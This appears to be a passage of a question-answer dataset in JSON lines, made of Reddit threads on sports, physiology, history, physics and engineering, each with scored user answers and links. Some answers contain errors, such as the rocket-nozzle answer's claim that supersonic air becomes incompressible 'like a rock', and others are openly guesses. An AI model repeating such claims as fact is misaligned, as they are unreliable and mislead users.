of the World.  ", "The violence in Northern Ireland seemed intractable at some points see _URL_0_ although their are occasional incidents by in large things are calm now. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/The_Troubles"]]}
{"q_id": "5wo53q", "title": "During the Cold War, did the government support staging a Russian terror attack?", "selftext": "I remember hearing this during History class but I am having trouble finding it online. Basically it was something along the lines of the government wanting to stage an attack where a \"Russian\" shooter would kill about 20 people - this create support for the war with the Soviet Union, but JFK was against the idea.\n\nThanks", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5wo53q/during_the_cold_war_did_the_government_support/", "answers": {"a_id": ["dec6wek"], "score": [2], "text": ["I suspect you have Operation Northwoods in mind \u2014 Cuba, not Russia. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "acps7d", "title": "why do the cleveland browns always suck every year? is it the coaches? ownership? bad luck?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/acps7d/eli5_why_do_the_cleveland_browns_always_suck/", "answers": {"a_id": ["ed9u10c", "ed9v9ve", "ed9vcsu", "ed9vx7s", "ed9wood"], "score": [72, 13, 17, 4, 3], "text": ["Ownership has been poor since they were brought back as an expansion team in the late 90s. That trickles down to the front office, to ownership, and then to the on field product. They\u2019ve put themselves in a lot of \u201call or nothing\u201d situations when looking for a quarterback to change the franchise, and it hasn\u2019t panned out because they have never built a team capable of winning regardless of quarterback.\n\nSome would go as far as to say that football in Cleveland died when the team moved to Baltimore, became the Ravens and won a super bowl almost immediately. They just seem to be one of those sports cities that can never catch a break. With the Cleveland Browns though, that idea has been pushed to it\u2019s very limits.", "538 covered this one in detail. It's a great article (if you're not a Cleveland Browns fan). [_URL_0_](_URL_0_)", "They weren\u2019t bad this year, if they\u2019d fired their coach and played baker from the beginning they\u2019d probably be in the playoffs.", "This question also needs to be asked about the Detroit Lions. They\u2019re the two worst franchises in the history of the NFL, or at least since the 50s. ", "For a lot of these cities, it\u2019s also the fact that free agents don\u2019t want to go there. If I\u2019m an outstanding LB and a free agent and I get $10 million from Cleveland and $9 million from Tampa Bay... I\u2019m probably going to Florida where half my games won\u2019t have state tax and the weather is nicer. Or even Denver... there\u2019s tax and the weather isn\u2019t amazing, but Denver is just a cooler town than Cleveland. \n\nI\u2019m not knocking Cleveland. I\u2019m originally from St Louis and Stanton shot down the Cardinals bc he wanted to play on a coast. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://fivethirtyeight.com/features/the-browns-suckiness-defies-math-and-reason/"], [], [], []]}
{"q_id": "6c2b1g", "title": "Does food taste different at different altitudes?", "selftext": "For example: Would eating the same pizza at sea level taste different when eaten at the top of Mt. Everest? If so why?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6c2b1g/does_food_taste_different_at_different_altitudes/", "answers": {"a_id": ["dhrroh0", "dhrrxgh"], "score": [3, 5], "text": ["It would cook different.  At higher altitudes, water boils at lower temperature because the atmosphere is closer to vacuum.  This means that ten minutes of boiling at high altitude might not do as much cooking as ten minutes below sea level.  \n\nPizza, in an oven with the same temperature might not be as much different, but it might dry out more.  ", "For lots of reasons food eaten at different altitudes tastes different.  The amount of oxygen effects the way food is tastes.  The air pressure differences also effect flavor as there is less air to move molecules around and carry flavors to the nose.  Apparently the lack of gravity also affects the taste of food.  Astronauts tend to demand lots of spices in their food as the lack of gravity makes it taste bland.\n\nEdit:  Added link\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.businessinsider.com/food-tastes-different-space-nasa-csa-iss-2016-2"]]}
{"q_id": "1ujkop", "title": "why does it sting when i put my contacts in if i haven't slept much /well?", "selftext": "Thanks for the input everyone! :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ujkop/eli5_why_does_it_sting_when_i_put_my_contacts_in/", "answers": {"a_id": ["ceiruqm", "ceis2ko", "ceius1r"], "score": [13, 5, 2], "text": ["Eye gunk (Rheum) is kinda floating around our eyes while we sleep. When we first wake up, it takes some time/binking for that to go into the corners of our eyes which we end up wiping away. Putting contacts in shortly after waking up, this stuff gets stuck behind the contacts and irritates the eyes... Actually I have no idea why even if this explanation counts for anything... its only a bit of the explanation... (must be more blood flow in the eyes, making them more sensitive or something) I just hate putting my contacts in after not much sleep. Contacts/eyes suck.\n\nTR;DL: This is a useless explanation....why am I typing right now?\n\nSource: I wear contacts.", "Your eyes need to naturally restore itself after being exposed for most of the day. If you don't sleep much, your eyes do not have the \"shut-eye\" time to restore all the membranes back to normal.\n\nThis can cause the tear-film, the thin coating of tears over your eye that is spread by blinking, to be thinner than usual. Normally, the tear film is thick enough so that there is some space between the contact and eye. When it is thin, the contact surface directly irritates the eye, causing the stinging.\n\nYou'll get a similar feeling if you try to hold your eyes open without blinking. Your tear film will naturally break up unless you blink to replenish it.", "Also, non-disposable contacts should be in new, clean solution of a minimum amount of time before they are put back into your eye in order to clean the proteins off of the lenses.  I would assume that if you only sleep for four hours, your eyes have not received enough rest, and then you are placing semi-dirty contacts on your eyes which can cause irritation.\n\nSouce:  I wear contacts and don't sleep enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "xj48z", "title": "Can you lose your ability to speak if you don't talk for an extended period of time?", "selftext": "I have a few questions about this: \n\n1) If you weren't able speak for a few weeks/months, would you have trouble using your tongue to form certain sounds in order to talk? \n\n2) In addition to your tongue, would your vocal chords be unable to produce sound and/or would you have to re-learn how to use them? \n\n3) Would any other muscles be affected by lack of use?\n\n4) Lastly, if your ability to speak was affected, how long would it take to re-learn how to use the muscles involved with speech?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xj48z/can_you_lose_your_ability_to_speak_if_you_dont/", "answers": {"a_id": ["c5mw7bt", "c5mwf08", "c5mxri4"], "score": [2, 5, 532], "text": ["Attrition has been observed in the L2 (second language) of some speakers when these didn't speak that language for long periods of time. And the opposite can be experienced too.\nFrom my experience, living, studying, and working in the UK for a year, and being spanish, my proficiency in my L1 has been affected. This is not a final result, but it's something I've observed in many of my non native speakers of English fellows.\nPerhaps absolute zero usage of language is something not possible or likely to happen, since you could make up sentences in your mind, which is an internal conversation with yourself at the end, this would be enough to keep the language working.\nSource: I am an English and Linguistics student from Spain in Scotland. \nI hope I have solved your doubts, if not, do not hesitate in asking me again.", "I would assume that speech is similar in nature to any motor program that governs any other kind of movement (with respect to the muscles that control speech -mouth, tongue, neck, respiratory muscles).  Similar to learning to ride a bike, once you've learned how to do it, you retain the general motor program necessary to complete that task.  \n\nNow, how well you ride the bike (your riding skill) at this time depends both on how much skill you had when you last rode the bike, as well as how long it has been since you rode last.  If you were great on a bike, and haven't been on in a year, you will probably still be better than the average person, yet not as good as you once were.  However, if you sucked at riding a bike a year ago, you will suck even more now.\n\nWith speech, you probably will never \"forget\" how to speak (lose the motor program governing speech).  However, the length of time it has been since you last spoke probably dictates how the \"skill\" of speech suffers. You would probably pronounce things funny, or get tongue tied easily with greater amounts of time without speaking (If I had to guess, it would be after years of not speaking, given that we speak on a regular basis, thus \"practicing\" the speech motor program.\n\nHow long would it take to relearn to speak at the level you are now?  Probably not long, since the speech motor program is heavily ingrained, due to the constant practice we get.\n\n\n\nSource: Multiple kinesiology degrees and motor learning classes", "Speech-Language Pathologist here. A lot of commenters here may be confusing language, voice, and speech.\n\n**Language** is stored in the brain; our abilities to understand the words and sentences we hear is mostly found in the Wernicke's area, and our abilities to put together words and sentences is mostly found in the Broca's area (both typically in the left hemisphere). [Here](_URL_1_) is a good resource regarding language centers in the brain.\n\n**Voice** is what happens when we inhale air into our lungs, close our vocal folds (they're more [folds](_URL_2_) than they are chords, and yes, I know what they resemble...), and send air out through them. We adjust our pitch by tilting our larynx (voice box or adam's apple), thereby lengthening or shortening them, like strings on a guitar.\n\n**Speech** is what happens when we produce voice and change the dynamics of the sound by using our articulators, including the vocal folds, soft palate (the little dangly guy in the back of your throat), tongue, teeth, and lips.\n\nWe can produce language without using voice or speech (e.g. talking to ourselves in our heads), we can produce voice without using language or speech (e.g. say \"ahhhh\"), and we can move our articulators without using language or voice (e.g. smacking ones lips).\n\nTo take a stab at your questions:\nIt depends on *why* you aren't able to speak. If you chose not to speak or were forced not to by someone else, chances are you would be using your articulators (including the tongue) to do other things, such as chewing and swallowing. You may be a little hoarse from voice disuse, but actually our vocal folds are very active when we cough, clear our throats, and swallow. It's thought that the primary purpose of the vocal folds is to protect the airway; if you can't protect your airway from foreign things getting down there, a voice isn't going to help you much.\n\nA lot of times, people are unable to speak because they have a breathing tube down their throat (mechanical ventilation). In this case, they are likely sedated and have complex medical issues. I've seen quite a few patients after they get the breathing tube out, and they are usually hoarse from irritation of the tube against the vocal folds. These people can be weak in the articulators, but able to form speech sounds coherent enough to understand. Oddly enough, they also have difficulty swallowing, likely due to decreased sensation in the throat (needed to trigger airway protection).\n\nBrain damage (e.g. stroke) to any of the regions in the brain responsible for language, voice, or speech will for sure affect our abilities to communicate. Depending on the person's age, amount of damage, etc., it may take a long time and a lot of therapy to regain these abilities.\n\nAnother case of something like this is with people who have their larynx (voice box) removed due to cancer or something of the sort. They may go weeks or sometimes months in the healing process (both physical and mental) before trying some different forms of speech (usually an [electrolarynx](_URL_0_) or a [prosthesis](_URL_3_) that sends air up through the esophagus in order to create a semblance of a voice). Many of these patients don't have difficulty with speaking, though it can take time to get use to the different source of voice.\n\nWhew! I hope this gets at your questions, feel free to ask more of me :)\n\n**TL;DR** Depends on why you can't speak, but unless you have some serious damage to the brain or nervous system, it likely wouldn't take you very long to use your articulation muscles again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://southparkstudios.mtvnimages.com/shared/characters/adults/ned-gerblansky.jpg", "http://faculty.washington.edu/chudler/lang.html", "http://www.voicemedicine.com/images/subpages/scar/big1.jpg", "http://audiology-speech.ucla.edu/body.cfm?id=39"]]}
{"q_id": "44uc4t", "title": "how do 'palate cleansing' foods work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44uc4t/eli5how_do_palate_cleansing_foods_work/", "answers": {"a_id": ["czszgxe"], "score": [6], "text": ["Basically they introduce a very powerful taste so that the memory of the bite coming next isn't conflated with what you just ate. Otherwise it would be difficult to pick up the subtleties between, say, certain dishes of sushi.\n\nFun fact, that ginger that comes with your sushi (called gari) serves this purpose. A lot of people mistakenly eat it alongside the fish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2j5n1j", "title": "When did amphorae fall out of favor in the Mediterranean?", "selftext": "Would an eighth century Umayyad ship bringing grain from Tunis to Alexandria use amphorae? What about an 11th century Neapolitan trade ship going from southern Italy to Spain?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2j5n1j/when_did_amphorae_fall_out_of_favor_in_the/", "answers": {"a_id": ["cl8mq4q"], "score": [3], "text": ["In visiting a number of small, local museums in south west France this year I have been surprised at the medieval persistence of amphorae, something which is distinctly 'Roman' in my mind. Samples I saw were dated right through the 13th century. These would be finds in the western Mediterranean littoral through to Toulouse.\n\nA quick search turned up [this archaeology report](_URL_0_) of a dig in eastern Europe that dates amphorae found from 9th to 14th centuries of Byzantium. Cursorily reading the arguments it seems amphorae were distributed and traded on Black Sea and across the Mediterranean for much of the medieval period. \n\nThe report further suggests that graffiti on the vessels suggests merchants writing and overwriting content codes and which in turn suggests reuse for various items. The French museum specimens were claimed as wine and olive oils vessels.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.academia.edu/1042934/E._Todorova_-_The_Medieval_Amphorae_9th_to_14th_Centuries_AD_from_Excavation_at_Silistra_in_2007._Preliminary_report_"]]}
{"q_id": "6csrso", "title": "How important was Fritz Haber and the Haber process to the development of the modern world and modern history?", "selftext": "_URL_0_\n\n > Due to its dramatic impact on the human ability to grow food, the Haber process served as the \"detonator of the population explosion\", enabling the global population to increase from 1.6 billion in 1900 to today's 7 billion.[20] Nearly 80% of the nitrogen found in human tissues originated from the Haber-Bosch process.[21]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6csrso/how_important_was_fritz_haber_and_the_haber/", "answers": {"a_id": ["dhxsqly"], "score": [3], "text": ["I don't know about \"modern world and modern history\" part of it, but Haber's work was important for what followed in at least four major ways that I can think of:\n\n* the Haber-Bosch process allows for mass production of fertilizers which dramatically increased the availability of food, and thus the size of sustainable populations, as noted;\n\n* the same process also could be used for the development of explosives and armaments; without the process, Germany would not have been able to start two world wars, because their nitrate supply was dramatically dependent on foreign sources prior to this process;\n\n* Haber himself also famously was key to the inauguration of the use of chemical weapons in WWI (he personally led a gas attack at Ypres). Many of his other chemical creations \u2014 notably the insecticide Zyklon-B \u2014 would go on to horrific use in later decades;\n\n* Haber was something of a \"model\" for what could be achieved if science, industry, and the state had closer connections. Haber was an academic who worked at a state-run institute (the KWI) with close connections to industry (BASF) and tight connections to the military. Such a thing was uncommon in the 19th and early 20th centuries. After WWI, people who cared about such matters, including people who idolized Haber (like Harvard's James Conant) organized to replicate such connections in other nations (notably the USA). Haber's work is a precursor for the military-industrial complex and much else. \n\nNot sure if that gets at what you want, but Haber is one of most important scientists of the early 20th century in my view, for the reasons outlined above. His work had huge resonances through the rest of the century, sometimes quite explicitly invoked (Conant in particular saw the \"German model,\" and specifically Haber, as the model for what American science needed to copy). \n\n(On Conant and Haber, see Hershberg's _From Harvard to Hiroshima_. On Haber himself, I am terribly fond of Steven Shapin's [_LRB_ review of a Haber biography](_URL_0_).)"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Haber_process"], "answers_urls": [["https://www.lrb.co.uk/v28/n02/steven-shapin/tod-aus-luft"]]}
{"q_id": "9ugddu", "title": "why were \u201c1st\u201d payment only windows added / built in to drive-throughs but don\u2019t seem to be used any more?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ugddu/eli5_why_were_1st_payment_only_windows_added/", "answers": {"a_id": ["e940aen", "e940e7x", "e940gix", "e940wiq"], "score": [13, 4, 10, 3], "text": ["To speed up the flow of traffic, I used one an hour ago so Im not sure what you mean by them not being used. Maybe they close them during off peak hours. ", "Many restaurants use them, although staffing during lower volume times often excludes the usage of the windows, as it is more efficient to have the cashier near the production line if the cashier is also presenting/assembling orders.", "They're less used now because the added costs to the establishment to have a person stationed there don't cover the potential benefit of speeding the queue. I suspect this is largely due to the predominance of credit card use since cash payments take more time to transact fully.", "The first drive throughs did not have an order box. You went to the first window to order, second to pay, and third to pick up. Over time they added the order box eliminating the need of the first window, and the separation of the second and third was a time creating measure that eventually proved to be unnecessary and required more workers. But during peak rush hours they will often still use it to slow things down slightly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a1998s", "title": "why do shot or badly hurt people in movies lay on the side?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1998s/eli5_why_do_shot_or_badly_hurt_people_in_movies/", "answers": {"a_id": ["eanrxbh", "eanufy6", "eao3hxs", "eao467t"], "score": [3, 4, 3, 3], "text": ["Probably because you have to be on your side to get into the fetal position if you can't sit up. ", "Not an expert but here are my guesses.\n1. Pure cinematography. Some reason we wouldn't understand.\n2. So the hurt person doesn't choke on their own blood or vomit or whatever. ( you how some ppl in movies get shot once and blood starts to immediately drip out of their mouth ,even tho the shot wasn't even close to lethal, and they start to choke dramaticaly as they die)\n3. It might get rid of some of the pain\n4. It's easier to see what is going on around you and if you are still in danger.\n5. Easier to get up ", "It\u2019s a cinematic convention. People copying what others have done in earlier movies. It adequately conveys to viewers that the person is badly hurt, and that\u2019s all it needs to do. ", "1) It allows them to shoot (with the camera) the actor's face easily\n\n2) it can be more comfortable than lying face down or faceup (looking into the sun) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "zmdpf", "title": "Due to the curvature of the earth, your head will always travel faster and farther than your feet. Because passage through space and time are inversely related, how much slower are your feet aging than your head?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zmdpf/due_to_the_curvature_of_the_earth_your_head_will/", "answers": {"a_id": ["c65uhcv", "c65ui8t", "c65ylgr", "c660yxl", "c662iu9"], "score": [121, 25, 9, 14, 3], "text": ["_URL_0_\n\n > The time difference adds up to about 90 billionths of a second over a 79-year lifetime", "Funny question. But the theory is that the closer the velocity is to the speed of light the slower time moves. So your head would be aging more slowly, not your feet. If that rule even applies at earth speeds I would guess in would only be around a few picoseconds in a lifetime. I hope someone knows the math.", "I'd guess, both things happen simultaneously (physics graduate here). Just calculated over the thumb: If you ride your bike at 36 km/h for one hour, every day in 79 years, then the time dilation difference between feet and head (2 meters apart, say, but just for an upper bound) would add up to something like 3.6 x 10^-14 seconds. But that's only the speed thing from special relativity - the 9 x 10^-8 seconds from general relativity are ages longer (well ... kinda).\nFun fact: Both effects also compete for GPS satellites - they're whizzing through space (so their clocks go slower), but they're also in a place where gravity is not as strong (so their clocks go faster). And again, the gravity effect wins, although the numbers are actually in the same ballpark here.", "Don't forget that we spend on average about 1/3 of our lives asleep(and probably laying down, unless you're one of those people who sleeps standing up) so the effect would be even less noticeable.", "The time difference would be minuscule.  Say you are 2 m tall, then every day your head moves around 12.5 m further than your feet (assuming case in which you are standing for 24 hours).  If you get this in terms of a relative speed, your head is going approx. 1.5 E -4 m/s faster than your feet (or in terms of the speed of light, 4.8E-13 c).  If you work this out for the time dilation, it is on the order of 10^-18 seconds a year."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.popsci.com/science/article/2010-09/superaccurate-clocks-prove-your-head-older-your-feet"], [], [], [], []]}
{"q_id": "3e576e", "title": "how do some people with higher education in subjects such as natural science and engineering still manage to have religious beliefs?", "selftext": "I mean, the knowledge and belief are contradictory lots of time", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e576e/eli5_how_do_some_people_with_higher_education_in/", "answers": {"a_id": ["ctblxbt", "ctbm1k8"], "score": [8, 6], "text": ["Are you inferring that religious people are less intelligent and/or science is the opposite of religion? I'm not sure if you are aware of this, but the Pope has specifically stated that Catholics can believe in evolution and the Big Bang, but just believe that God is still responsible, the Big Bang was first theorized by a Christian priest, Wikipedia has a huge article on Christian scientists.  \n  \nI don't know of any Catholic church/school that teaches creationism as fact, I am a Catholic (very far from an intense one though), and my priest (when I actually go to church) preaches that the Bible is not some history book.  \n  \nEven for the Big Bang Theory, in simple terms, since all matter has gravity, the matter at the start of the universe all converged into a singularity and created the Big Bang, but where did this matter come from? We don't know, it just, existed before time itself.", "Religious people don't necessarily believe in their religions using the same modes of thought and acceptance as they use for scientific theory.\n\nTo some degree, it's like using two conflicting scientific models - neither model may be 100% reflective of reality, but in certain circumstances one model results in a better approximation, and in other circumstances the other model is more appropriate, and in some situations both models (or neither) may apply. A religious model allows the human mind to process things that a purely empirical model has difficulty addressing. It doesn't mean that the empirical model has been discarded, but rather that it's been shelved in favor of the more useful tool for the task at hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ecnbzr", "title": "why are rocket exhaust ports increasing in diameter, while jet engine exhaust ports are decreasing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ecnbzr/eli5_why_are_rocket_exhaust_ports_increasing_in/", "answers": {"a_id": ["fbckl6o", "fbcmhwh", "fbcqpzp", "fbcuehi", "fbd78hw"], "score": [9, 6, 8, 167, 2], "text": ["You need an expanding nozzle if your exhaust is higher pressure than the atmosphere.\nYou can see on a jet engine it\u2019s a tube with roughly the same size opening on the front and rear, there isn\u2019t a huge difference in pressure.", "Any pressure difference is wasted energy.\n\nRockets are designed to operate in a near vacuum, so they have a large amount of expansion. \n\nJets are designed to operate in atmosphere near the pressure of the exhaust.", "One main reason is that most aircraft today do not have a jet engine but a turbofan engine. A jet engine lets all air through the combustion chamber but a turbofan engine uses a  turbine engine (jet engine) to drive a large fan. Most of the trust if from the fan. So it is more like a ducted propeller with a lot of propeller blades.  There s an aircraft turbofan engine som commercial passenger jets that push 12x more air around the engine trough it.\n\nHere is an [animation of a turbofan](_URL_0_)[ engine](_URL_0_) and here is a [real engine](_URL_6_). The turbine engine is the narrower and longer part in the middle and the combustion happens at the waist. So from there, it is quite clear that it expands.  So what you think is an engine might not be an engine but just a large fan.\n\n & #x200B;\n\nIf you look at a jet engine or a low bypass-turbo fan engine like used in jet fighters all or most air travel trout the combustion chamber.\n\nThe pressure the nozzle should be at the same pressure at the surrounding air. To high or to low reduce the efficiency.   \n\nIf you look at the cross-section of a [Jet engine](_URL_3_) you can see hat the combustion chamber is around the axis of the engine and then you have a turbine and finally an exhaust where you have nothing in the middle.   Because you have something in the middle when you do the combustion the area the gasses passes trough can increase even if the diameter of the engine decrease when there no longer is coming in the middle  \n\nIf you look at a [rocket engine](_URL_7_) you can see them after the combustion chamber diameter decrease to increase the speed of the exhaust and then decrease to reduce the pressure. Because there is nothing in the middle the diameter has to increase. \n\n & #x200B;\n\nTo low pressure can result in air that flow back in the nozzle and it can damage it so you tend to build rocket nozzle so the exhaust pressure is slightly above air pressure as a launch but it is not as important in a jet engine because the speed of the exhaust is lower  [F16 with mach diamonds](_URL_2_). The pressure in the exhaust is lower than the surrounding air, You can see the exhaust shink when it exits the nozzle\n\n & #x200B;\n\nBecause air pressure depends on the elevation to what amount you like to expand the exhaust depending on elevation. So in some aircraft like a jet fighter, you have adjustable exhaust nozzle  So on a F16 an [expanded nozzle](_URL_5_) and with a [contracted nozzle](_URL_1_). So you build the engine so you contract the nozzle at sea level but expand it at altitude. That increase performance at low and high altitude.\n\n & #x200B;\n\nFor a rocket, ou does not use expandable nozzle because you have warmer exhaust move at a higher speed so the nozzles have a cooling system in them so they are fixed. But you do have a different nozzle for different altitudes. Her is [Space X Merlin engine both sea-level and vacuum](_URL_4_). The engine is identical but the nozzle is a lot larger for a vacuum engine.  The Falcon 9 has 9 sea-level engines on the first stage but only a single vacuum engine on the second where the nozzle is almost as wide as the whole rocket. The larger nozzle increase the specific impulse (fuel efficiency) by 12%", "Wasn't going to answer, but a lot of these answers are missing the main point.\n\n & #x200B;\n\nThe point of an an engine is to shoot gas out the back as fast as possible. The faster the gas goes, the more thrust per mass you get.\n\n & #x200B;\n\nFor gas flows below the speed of sound, increasing the pressure makes them faster. All nozzles, jet or rocket, will include a section that decreases in size. This accelerates the gas until it reaches the speed of sound, and for most jet engines that's all that we do.\n\n & #x200B;\n\nHowever, rocket engines really need more thrust per mass of gas expelled, because every gram of gas expelled takes up space in a very limited fuel tank, so they accelerate the gasses even more, using what is called a de Laval nozzle (converging-diverging).\n\n & #x200B;\n\nFor supersonic flows, the effect of pressure changes. Now, low pressures make the gas go faster, so we expand the gas as much as possible as soon as our flow reaches the \"throat\", where the gas flow reaches the speed of sound.\n\n & #x200B;\n\nOf course, we can't expand the gas until it has lower pressure than the atmosphere, because then the atmosphere kind of pushes back into the nozzle, and we can get some really weird shockwave-type effects. But that's talk for another day.", "Aerospace engineer here... \n\nIt has to do with the fact that the properties of air change with its speed.\n\n*Main idea* is to get air to move really fast in one direction so the reaction causes the vehicle to move equally fast in the other direction. *Both engines* do this, using an exhaust port.\n\nAs air starts to move faster *through a decreasing port*, there comes a point where the air is moving at the speed of sound. Before this point in time, the behaviour of air can be considered compressible - that is, increasing pressure causes air to compress in a smaller volume. *At and after this point*, air becomes incompressible - meaning increasing pressure will not cause it to get any smaller in volume -- it literally becomes a rock!\n\nSo now imagine air moving so fast, that at the point where it moves at the speed of sound, it is quite literally very, very hard, and the air behind it is slamming into it -- slamming into a rock! Now you have a problem, in that this decreasing port is useless -- you can't move the air any faster.\n\nSo for rocket engines, which need to move the air *much, much faster* than jet engines, some smart guys way back a few hundred years ago discovered that if you use an increasing duct *from the point where air is at the speed of sound*, the air velocity will keep increasing, and the pressure drops.\n\nThe rocket engine duct is increasing *only* in the visible to the eye section. There is a whole section behind it that is decreasing. This is called a decreasing-increasing, or convergent-divergent duct, and it works for rockets.\n\nFor jet engines, the air speed, even at it's highest is nowhere near the speed of sound, so they can keep using the decreasing/convergent duct with no problems."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Turbofan#/media/File:Turbofan3_Unlabelled.gif", "https://en.wikipedia.org/wiki/File:F-16_Exhaust.JPG", "https://en.wikipedia.org/wiki/File:South_Carolina_F-16_taking_off_in_Afghanistan.jpg", "https://en.wikipedia.org/wiki/File:Jet_engine.svg", "https://qph.fs.quoracdn.net/main-qimg-97bdec5b6797e07652c2c4d1753a5b94", "https://en.wikipedia.org/wiki/Pratt_%26_Whitney_F100#/media/File:Pratt_&amp;_Whitney_F100-PW-220_turbofan_engine.jpg", "https://en.wikipedia.org/wiki/Rolls-Royce_Trent_900#/media/File:Airbus_Lagard%C3%A8re_-_Trent_900_engine_MSN100_(6).JPG", "https://en.wikipedia.org/wiki/RS-25#/media/File:Ssme_schematic_(updated).svg"], [], []]}
{"q_id": "1ihwd8", "title": "Why don't the mirrors, crossbars, supports, etc. in a reflecting telescope block some of the image?", "selftext": "I've always wondered this about telescope designs that place a mirror in the path of the incoming light (e.g. the [Newtonian telescope](_URL_0_)). Doesn't the mirror (and whatever is being used to hold it in the middle of the telescope) block some of the incoming light from reaching the viewpiece? Would this show up as a black space on the observed image, or is there some way of compensating for it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ihwd8/why_dont_the_mirrors_crossbars_supports_etc_in_a/", "answers": {"a_id": ["cb4luw7", "cb4nsu8", "cb4odiu", "cb4ol2u", "cb4pzcg", "cb4s08v"], "score": [33, 18, 6, 31, 5, 2], "text": ["They do block some of the incoming light, so the image is dimmer than it would be without them. Telescope manufacturers try to minimize the light loss to such obstructions.\n\nYou don't see a black space because the part of the optics that is unblocked is capable of showing a full image. This is easy to see if you take a convex or parabolic mirror and cut a hole in its center. The remaining part of the mirror is still capable of bringing parallel light rays to a focus, it's just that rays that would have fallen on the missing part of the mirror now go straight through, so the overall image is dimmer.", "[Not a black space,](_URL_0_) but the obstructions are visible in photographs.", "It's because it's very out of focus, so it gets spread over the whole image. Something on the mirror itself is exactly out of focus. It blocks some incoming light, yes, but it doesn't show up in images. The best example of this I know if is that there's a bullet hole in one of the primary mirrors at the McDonald Observatory. A disgruntled employee had a tiff with one of the astronomers at the time, is the story I got. The telescope in question still works just fine, and is still in use.", "The reason is that the image is out of focus *at the point where the obstruction occurs*.  Think about how a pinhole camera works.  The entire view is obstructed except for a very tiny hole.  How is it possible for the entire image to fit through that tiny hole?  It's out of focus when it passes the hole.  The light rays passing the hole are traveling in different directions.\n\nIn the telescope, before the image is created, the light rays are not parallel, just like in a pin hole camera.  If you block some of those rays, it's no big deal because there is plenty of room for other rays to go past -- the blocked rays can't contribute to the image any more, so the image is more dim, but you can still see the entire image.  It's the *angle and position* of those light rays that determine their final position in the final image, not just their location in the telescope.  Position only becomes critically important as the rays converge at the final focus point.  The closer you are to a focus plane when you block the light rays, the more shadow-like the blockage will become.\n\nIncidentally, this is how the aperture on an SLR camera works. The aperture in an SLR lens is located at the plane containing the convergence point for \"straight\" light rays. (Well, they're not really straight.  Maybe it's better to think of it as the rays that following the path that the rays in a pin-hole camera would take.  I just can't think of a easy way to explain this right now.)  Light rays that do not need to be \"bent\" are always in focus, just like in a pinhole camera. The extent to which the aperture is closed determines how far away from that convergence point light rays can be before they are excluded from the image. A nearly closed aperture (f/22) excludes nearly all light rays that do not pass through the convergence point, resulting in a pinhole-camera sharp, but dim, image. A fully open aperture (f/1.4) permits all available light rays through, resulting in a bright image that includes potentially out of focus rays. An interesting aside is that a focused image of a flat object (a painting, for example) taken with [a more open aperture is sharper than that same image at a more closed aperture](_URL_0_) due to quantum diffraction effects when the light passes the closed aperture.", "Here is an example with a single lens, but the principle applies to telescopes.\n\n[Look at this picture](_URL_0_).  On the left you have a sensor, or a film or whatever you use to capture the image, on the right you have the object you observe (here, a cube) and in the middle you have your optical system.\n\nNotice how a single point of the object throws light rays in every direction, and how some of them hit the whole optical lens.  Not a single point of it, but all of it.  The light rays are then focused so that a single point of the object appears as a single point on the sensor.\n\nNow imagine you block the top half of the optic.  What happens?  Does it hide the top half of the object?  No: every point of the object will still send light rays through the lower half of the lens.  What happens instead is that only half the light rays will hit the sensor, making the resulting picture only half as bright.\n\nThis is also the reason for bigger optics, be it for telescopes or cameras: they are able to capture more of the light rays sent by any given point, which will result in a brighter picture.\n", "[This diagram should help you visualise it](_URL_0_). Basically all the light rays shown in the diagram are coming from a single star (it's so far away that the rays are essentially parallel when they hit the telescope).\n\nThe centre ray(s) are blocked by the cage (or secondary mirror), but the rest hit the primary mirror and are converged back into a single point on the film/sensor.\n\nIt's like holding a piece of thin thread in front of your eye, once you move it close enough you can actually see through it as the light travelling either side of the string is refocussed by your eye's lens."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Newtonian_telescope"], "answers_urls": [[], ["http://youtu.be/ipe3NN1yPzM"], [], ["http://www.ianperegian.com/My_FZ35_38_Webpage/ZS20_Resolution_Testing_files/24mm,plane,100ISO,f5.6-8.0_1.jpg"], ["http://lh4.ggpht.com/_u9UQLttJZuc/SzsNz1-pKiI/AAAAAAAAAIA/c9FdyrQwRjY/s800/lenses2.png"], 